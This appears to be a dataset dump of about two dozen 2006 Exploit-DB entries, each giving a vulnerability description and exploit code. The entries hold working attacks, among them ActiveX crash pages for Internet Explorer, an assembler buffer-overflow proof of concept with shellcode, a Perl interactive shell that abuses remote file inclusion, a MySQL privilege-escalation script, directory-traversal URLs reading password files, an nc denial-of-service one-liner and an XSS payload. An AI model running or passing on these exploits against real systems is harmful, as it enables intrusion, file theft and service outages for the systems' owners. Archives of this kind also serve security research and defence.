QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer 6 - Visual Studio COM Object Instantiation Denial of Service EDB-ID: 28401 CVE: 2006-4494 类型: DOS 平台: WINDOWS 发布日期: 2006-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/19572/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability that occurs when instantiating Visual Studio COM objects. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). Note, however, that this issue affects a different set of COM objects that were not addressed in the previous BIDs.

<!--
// Visual Studio 6.0 Multiple COM Object Instantiation Vulnerability
// tested on Windows 2000/2003

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}
// Info: FpFile Class// ProgID: WECAPI.FpFile.1
// InprocServer32: C:\WINDOWS\System\FP30WEC.DLL

// CLSID: {AB39F080-0F5D-11D1-8E2F-00C04FB68D60}
// Info: TCExtPage Class
// InprocServer32: C:\PROGRA~1\MICROS~1\Common\Tools\TCPROPS.DLL

// CLSID: {CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}
// Info: FpaFile Class// ProgID: FpaFile.FpaFile.1
// InprocServer32: C:\WINDOWS\system\VI30AUT.DLL

// CLSID: {E9B0E6CB-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Query Designer// ProgID: MSDTQueryDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft Shared\MSDesigners98\mdt2qd.dll

// CLSID: {E9B0E6D4-811C-11D0-AD51-00A0C90F5739}
// Info: Microsoft Data Tools Database Designer// ProgID: MSDTDatabaseDesigner2
// InprocServer32: C:\Program Files\Common Files\Microsoft Shared\MSDesigners98\mdt2db.dll
--!>

<html><body>
<object classid="CLSID:{9AF971C5-8E7A-11D0-A2BB-00C04FC33E92}"> </object>
<object classid="CLSID:{AB39F080-0F5D-11D1-8E2F-00C04FB68D60}"> </object>
<object classid="CLSID:{CCDBBDA1-FA19-11D0-9B51-00A0C91E29D8}"> </object>
<object classid="CLSID:{E9B0E6CB-811C-11D0-AD51-00A0C90F5739}"> </object>
<object classid="CLSID:{E9B0E6D4-811C-11D0-AD51-00A0C90F5739}"> </object>
<!--
</body>
<script>location.reload();</script>
</html> URL: https://www.exploit-db.com/exploits/28401
标题: Microsoft Internet Explorer 6 - 'TSUserEX.dll' ActiveX Control Memory Corruption EDB-ID: 28400 CVE: 2006-4219 类型: REMOTE 平台: WINDOWS 发布日期: 2006-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19570/info

Microsoft Internet Explorer is prone to a memory-corruption vulnerability. This is related to the handling of the 'tsuserex.dll' COM object ActiveX control.

Attackers may exploit this issue via a malicious web page to execute arbitrary code in the context of the currently logged-in user. Exploitation attempts may lead to a denial-of-service condition as well. Attackers may also employ HTML email to carry out an attack.


=============== tsuserex.dll.htm start ================

<!--
// Microsoft Windows 2003 (tsuserex.dll) COM Object Instantiation
Vulnerability
// tested on Windows 2003 EE SP1 CN

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}
// Info: ADsTSUserEx Class
// ProgID: tsuserex.ADsTSUserEx.1
// InprocServer32: C:\WINDOWS\system32\tsuserex.dll

--!>

<html><body>
<object classid="CLSID:{E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}"> </object>
</body>
</html>

=============== tsuserex.dll.htm end ================== URL: https://www.exploit-db.com/exploits/28400
标题: GNU BinUtils 2.1x - GAS Buffer Overflow EDB-ID: 28397 CVE: 2005-4807 类型: REMOTE 平台: LINUX 发布日期: 2006-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19555/info

GNU binutils GAS (GNU assembler) is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Remote attackers may crash the application or execute arbitrary machine code in the context of the application.

#!/bin/sh
#
# gas overflow poc, <taviso@gentoo.org>

returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'

printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
         __asm__ (PAD RET NOP EGG);
}
__EOF__ URL: https://www.exploit-db.com/exploits/28397
标题: Fusionphp Fusion News 3.7 - 'index.php' Remote File Inclusion EDB-ID: 28394 CVE: 2006-4240 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/19546/info

Fusion News is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

#!/usr/bin/perl

 ###########################################################################################

 #   Aria-Security.net Advisory                                                       #

 #   Discovered  by: OUTLAW                                                                 #

 #   < www.Aria-security.net >                                                           #

 #  Gr33t to: A.u.r.a  & HessamX & Cl0wn & DrtRp                                       #

 #    Special Thanx To All Aria-Security Users                         #

 ###########################################################################################


use LWP::UserAgent;

print "\n === Fusion News v3.7 Remote File Inclusion\n";

print "\n === Discovered by OutLaw .\n";

print "\n  === www.Aria-Security.Net\n";


$bPath = $ARGV[0];

$cmdo = $ARGV[1];

$bcmd = $ARGV[2];


if($bPath!~/http:\/\// || $cmdo!~/http:\/\// || !$bcmd){usage()}




while()

 

       print "[Shell] \$";

while(<STDIN>)

       {

               $cmd=$_;

               chomp($cmd);


$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET =>$bpath.&#039;index.php?fpath=&#039;.$cmdo.&#039;?&&#039;.$bcmd.&#039;=&#039;.$cmd)or die "
\n Could not connect !\n";

$res = $xpl->request($req);

$return = $res->content;

$return =~ tr/[\n]/[ê;

if (!$cmd) {print "\nPlease type a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/)

       {print "\n Could Not Connect to cmd Host\n";exit}

elsif ($return =~/^<b>Fatal.error/) {print "\n Invalid Command\n"}

if($return =~ /(.*)/)

 

       $freturn = $1;

       $freturn=~ tr/[ê[\n]/;

       print "\r\n$freturn\n\r";

       last;

 


else {print "[Shell] \$";}}}last;


sub usage()

 {

print " Usage : fusion.pl [host] [cmd shell location] [cmd shell variable]\n";

print " Example : fusion.pl http://fusionnews.com http://www.shell.com/cmd.txt cmd\n";

 exit();

 } URL: https://www.exploit-db.com/exploits/28394
标题: MySQL 4/5 - SUID Routine Miscalculation Arbitrary DML Statement Execution EDB-ID: 28398 CVE: 2006-4227 类型: REMOTE 平台: LINUX 发布日期: 2006-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/19559/info

MySQL is prone to these vulnerabilities:

- A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges.

- A security-bypass vulnerability. A user can bypass restrictions and create new databases.

MySQL 5.0.24 and prior versions are affected by these issues.

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
  returns int
  sql security invoker
begin
  set @a:= current_user();
  set @b:= (select count(*) from mysqltest2.t1);
  return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2; URL: https://www.exploit-db.com/exploits/28398
标题: Libmusicbrainz 2.0.2/2.1.x - Multiple Buffer Overflow Vulnerabilities EDB-ID: 28384 CVE: 2006-4197 类型: DOS 平台: LINUX 发布日期: 2006-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/19508/info

The libmusicbrainz library is prone to multiple buffer-overflow vulnerabilities because the application fails to check the size of the data before copying it into a finite-sized internal memory buffer. 

An attacker can exploit these issues to execute arbitrary code within the context of the application or to cause a denial-of-service condition. 

Versions 2.1.2, SVN 8406, and prior are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28384.zip URL: https://www.exploit-db.com/exploits/28384
标题: ImageMagick 6.x - '.SGI' Image File Remote Heap Buffer Overflow EDB-ID: 28383 CVE: 2006-4144 类型: DOS 平台: LINUX 发布日期: 2006-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/19507/info

ImageMagick is prone to a remote heap buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue allows attackers to execute arbitrary machine code in the context of applications that use the ImageMagick library.

ImageMagick versions in the 6.x series, up to version 6.2.8, are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28383.sgi URL: https://www.exploit-db.com/exploits/28383
标题: PHP-Nuke 2.0 AutoHTML Module - Local File Inclusion EDB-ID: 28388 CVE: 2006-4190 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/19525/info

PHP-Nuke AutoHTML Module is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit may allow an attacker to execute arbitrary local scripts within the context of the affected application.

http://www.example.com/autohtml.php?op=modload&name=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/28388
标题: Mozilla Firefox 1.0.x - JavaScript Handler Race Condition Memory Corruption EDB-ID: 28380 CVE: 2006-4253 类型: DOS 平台: LINUX 发布日期: 2006-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19488/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability. This issue is due to a race condition that may result in double-free or other memory-corruption issues.

Attackers may likely exploit this issue to execute arbitrary machine code in the context of the vulnerable application, but this has not been confirmed. Failed exploit attempts will likely crash the application.

Mozilla Firefox is vulnerable to this issue. Due to code reuse, other Mozilla products are also likely affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28380.zip URL: https://www.exploit-db.com/exploits/28380
标题: Microsoft Windows XP/2000/2003 help - Multiple Vulnerabilities EDB-ID: 28381 CVE: 2006-4138 类型: DOS 平台: WINDOWS 发布日期: 2006-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19490/info

The Microsoft Windows Help File viewer (winhlp32.exe) is prone to multiple remote vulnerabilities.

These vulnerabilities present themselves when the application handles specially crafted Windows Help (.hlp) files.

A successful attack may let the attacker crash the application or execute arbitrary code in the context of a vulnerable user who opens a malicious file.

Specific information regarding affected versions of Microsoft Windows is currently unavailable.

Update: Since help files can inherently execute arbitrary malicious code, this BID is being retired.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28381.zip URL: https://www.exploit-db.com/exploits/28381
标题: Lizge 20 - 'index.php' Multiple Remote File Inclusions EDB-ID: 28390 CVE: 2006-4230 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/19533/info

Lizge is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version V.20 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[target]/[lizge_path]//index.php?lizge=http://www.example.com/cmd.txt?&cmd=ls http://www.example.com/[target]/[lizges_path]//index.php?bade=http://www.example.com/cmd.txt?&cmd=ls URL: https://www.exploit-db.com/exploits/28390
标题: Microsoft Internet Explorer 6 - 'MSOE.dll' Denial of Service EDB-ID: 28389 CVE: 2006-4193 类型: DOS 平台: WINDOWS 发布日期: 2006-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/19530/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. 

This issue occurs because the application fails to load a DLL library when instantiated as an ActiveX control.

An attacker may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users, and may cause arbitrary code to run within the context of the application.

 <!--
 // Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability
 // tested: 2000SP4/XPSP2 CN

 // http://www.xsec.org
 // nop (nop#xsec.org)

 // CLSID: {233A9694-667E-11d1-9DFB-006097D50408}
 // Info: Outlook Express Address Book
 // ProgID: OutlookExpress.AddressBook.1
 // InprocServer32: %ProgramFiles%\Outlook Express\msoe.dll

 --!>
 <html><body>
 <object classid="CLSID:{233A9694-667E-11d1-9DFB-006097D50408}" ></object>
 </body></html> URL: https://www.exploit-db.com/exploits/28389
标题: miniBloggie 1.0 - 'Fname' Remote File Inclusion EDB-ID: 28378 CVE: 2006-4163 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/19476/info

miniBloggie is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 1.0 is reported vulnerable; other versions may also be affected.

http://www.example.com/[miniBloggie]/cls_fast_template.php?fname=attacker's site URL: https://www.exploit-db.com/exploits/28378
标题: Mozilla Firefox 1.x - XML Handler Race Condition Memory Corruption EDB-ID: 28391 CVE: 2006-4261 类型: DOS 平台: LINUX 发布日期: 2006-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/19534/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability because of a race condition that may result in double-free or other memory-corruption issues.

Attackers may likely exploit this issue to execute arbitrary machine code in the context of the vulnerable application, but this has not been confirmed. Failed exploit attempts will likely crash the application.

Mozilla Firefox is vulnerable to this issue. Due to code-reuse, other Mozilla products are also likely affected.

The Flock browser version 0.7.4.1 and the K-Meleon browser version 1.0.1 are also reported vulnerable.

<html> <body bgcolor=black text=white onload="javascript:foo()"> <script> <!-- counter = 0; function foo() { if (counter < 20) { document.getElementById('foo').src = "http://lcamtuf.coredump.cx/ffoxdie3_i.html?" +Math.random(); setTimeout('foo()',10 * counter); counter++; } else { document.getElementById('foo').src = "http://lcamtuf.coredump.cx/ffoxdie_ok.html"; } } // --> </script> <img src="http://lcamtuf.coredump.cx/photo/current/ula4-6.jpg" style="border-style: solid; border-width: 1px; border-color: #804040" align=right> <font face="tahoma, helvetica, arial"> <font color=lightblue> Tyger, Tyger. burning bright<br> In the forests of the night,<br> What immortal hand or eye<br> Could frame thy fearful symmetry? </font> <p> <b>Please wait approx. 20 seconds...</b> <br> <iframe id=foo> </iframe> <p> <font color=gray> Javascript is required.<br> Firefox is required.<br> May fail on a spotty link.<br> Common sense is advised.<br> <p> More photos: <a href=/photo/current/>click here</a> </font> </font> </body> </html> URL: https://www.exploit-db.com/exploits/28391
标题: Zen Cart Web Shopping Cart 1.3.0.2 - 'autoload_func.php?autoLoadConfig[999][0][loadFile]' Remote File Inclusion EDB-ID: 28392 CVE: 2006-4215 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/19543/info

Zen Cart is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote and local files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 1.3.0.2 and prior; other versions may also be vulnerable.

http://www.example.com/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://shell URL: https://www.exploit-db.com/exploits/28392
标题: WordPress Plugin WP-DB Backup 1.6/1.7 - 'edit.php' Directory Traversal EDB-ID: 28382 CVE: 2006-4208 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/19504/info

WP-DB Backup For Wordpress is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/28382
标题: Linux-HA Heartbeat 2.0.6 - Remote Denial of Service EDB-ID: 28386 CVE: 2006-3121 类型: DOS 平台: LINUX 发布日期: 2006-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19516/info

Linux-HA Heartbeat is prone to a remote denial-of-service vulnerability.

By successfully exploiting this issue, attackers can crash the master control process. This may result in the failure of services that depend on the application's functionality.

perl -e 'print "###\n2147483647heart attack:%%%\n"' | nc -u 192.168.1.12 694 URL: https://www.exploit-db.com/exploits/28386
标题: Microsoft Internet Explorer 6 - 'IMSKDIC.dll' Denial of Service EDB-ID: 28387 CVE: 2006-4193 类型: DOS 平台: WINDOWS 发布日期: 2006-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/19521/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. 

This issue occurs because the application fails to load a DLL library when instantiated as an ActiveX control.

An attacker may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users and may cause arbitrary code to run within the context of the application.
  
  <-- /Internet Explorer (IMSKDIC.DLL) COM Object Instantiation Vulnerability
  //tested XP SP2 CN
 
  // nop (nop#xsec.org)
  // http://www.xsec.org
 
 
  // CLSID: {6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}
  // Info: Microsoft IME SingleKanjiDictionary interface
  // ProgID: IMESingleKanjiDict.8.1
  // InprocServer32: C:\WINDOWS\IME\imjp8_1\Applets\IMSKDIC.DLL
 
  --!> 
  <html> <body> 
  <object classid="CLSID:{6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}" /object> 
  </body> </html> URL: https://www.exploit-db.com/exploits/28387
标题: IPCheck Server Monitor 5.x - Directory Traversal EDB-ID: 28374 CVE: 2006-4140 类型: REMOTE 平台: WINDOWS 发布日期: 2006-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/19473/info

IPCheck Server Monitor is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

IPCheck Server Monitor 5.3.2.609 is vulnerable; other versions may also be affected.

http://www.example.com:8080/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini http://www.example.com/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini http://www.example.com/images../..../..../..../..../..../..../..../..../..../..../..../boot.ini http://www.example.com/images/..%255c../..%255c../..%255c../..%255c../boot.ini URL: https://www.exploit-db.com/exploits/28374
标题: ArcSoft Mms Composer 1.5.5/2.0 - Multiple Vulnerabilities EDB-ID: 28368 CVE: 2006-4131 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19451/info

ArcSoft MMS Composer is affected by multiple vulnerabilities, including buffer-overflow and denial-of-service issues. 

Successful exploits can allow remote attackers to cause denial-of-service conditions and to execute arbitrary machine code in the context of the user running the application.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28368.tar.gz URL: https://www.exploit-db.com/exploits/28368
标题: AlsaPlayer 0.99.x - Multiple Buffer Overflow Vulnerabilities EDB-ID: 28367 CVE: 2006-4089 类型: DOS 平台: LINUX 发布日期: 2006-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19450/info

AlsaPlayer is prone to multiple buffer-overflow vulnerabilities because the application fails to check the size of the data before copying it into a finite-sized internal memory buffer. 

An attacker can exploit these issues to execute arbitrary code within the context of the application or cause a denial-of-service condition. 

AlsaPlayer 0.99.76, the CVS version as of 9 Aug 2006, and prior versions are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28367.zip URL: https://www.exploit-db.com/exploits/28367
标题: YaBBSE 1.x - 'index.php' Cross-Site Scripting EDB-ID: 28371 CVE: 2006-4157 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/19460/info

A cross-site scripting vulnerability affects YaBBSE because the application fails to properly sanitize user-supplied input before including it in dynamically generated web content. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?action=faqmy&myfaq=yes&id_cat=1&categories=<script>alert("xss")</script> URL: https://www.exploit-db.com/exploits/28371